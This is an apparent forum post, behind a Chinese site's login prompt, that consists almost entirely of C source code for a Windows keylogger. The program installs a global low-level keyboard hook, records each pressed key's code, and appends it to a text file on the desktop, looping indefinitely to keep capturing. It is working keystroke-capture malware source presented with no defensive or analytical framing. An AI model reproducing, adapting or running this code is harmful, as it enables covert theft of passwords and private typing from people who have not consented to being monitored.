马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
#include <Windows.h>
#include <WinUser.h>
#include <stdio.h>
__declspec(dllexport) DWORD SaveDataToFile(LPSTR szFilePath,LPVOID lpData,DWORD dwDataSize); HHOOK _hook;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {char key_value[32] = { 0 };
if (nCode >= 0)
{
// the action is valid: HC_ACTION.
if (wParam == WM_KEYDOWN)
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
printf("KeyboardProc nCode = %c\n", kbdStruct.vkCode);
sprintf(key_value, "%c", kbdStruct.vkCode);
//保存文件show.txt到桌面
SaveDataToFile("C:\\Users\\qq670\\Desktop\\1.txt", key_value, lstrlen(key_value));
// a key (non-system) is pressed.
if (kbdStruct.vkCode == VK_F1)
{
// F1 is pressed!
printf("F1 is pressed\n");
//return 1;
}
}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}void SetHook()
{
if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0)))
{
MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
}
}void ReleaseHook()
{
UnhookWindowsHookEx(_hook);
}/* ************************************
* SaveDataToFile
* 功能 将数据存储到文件末尾
* 参数 LPSTR szFilePath 文件路径
* LPVOID lpData 需存储的数据
* DWORD dwDataSize 数据大小(字节)
**************************************/
DWORD SaveDataToFile(
LPSTR szFilePath,
LPVOID lpData,
DWORD dwDataSize)
{
//文件句柄
HANDLE hFileWrite;
//成功写入的数据大小
DWORD dwWritedDateSize; //打开已经存在的文件,读取内容。
hFileWrite = CreateFile(szFilePath, // 要打开的文件名
GENERIC_WRITE, // 以写方式打开
0, // 可共享读
NULL, // 默认安全设置
OPEN_ALWAYS, // 打开已经存在的文件,没用则创建
FILE_ATTRIBUTE_NORMAL, // 常规文件属性
NULL); // 无模板
//判断是否打开成功
if (hFileWrite == INVALID_HANDLE_VALUE)
{
printf("打开文件失败:%d\n", GetLastError());
} //设置文件指针到文件尾
SetFilePointer(hFileWrite, 0, 0, FILE_END); //将数据写入文件
if (!WriteFile(hFileWrite, lpData, dwDataSize, &dwWritedDateSize, NULL))
{
printf("写文件失败:%d\n", GetLastError());
}
else
{
printf("写文件成功,写入%d字节。\n", dwWritedDateSize);
}
CloseHandle(hFileWrite);
return 0;
}int main(void)
{
SetHook(); //这里只是为了不让程序退出,一直保持
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
}
return 0;
}
|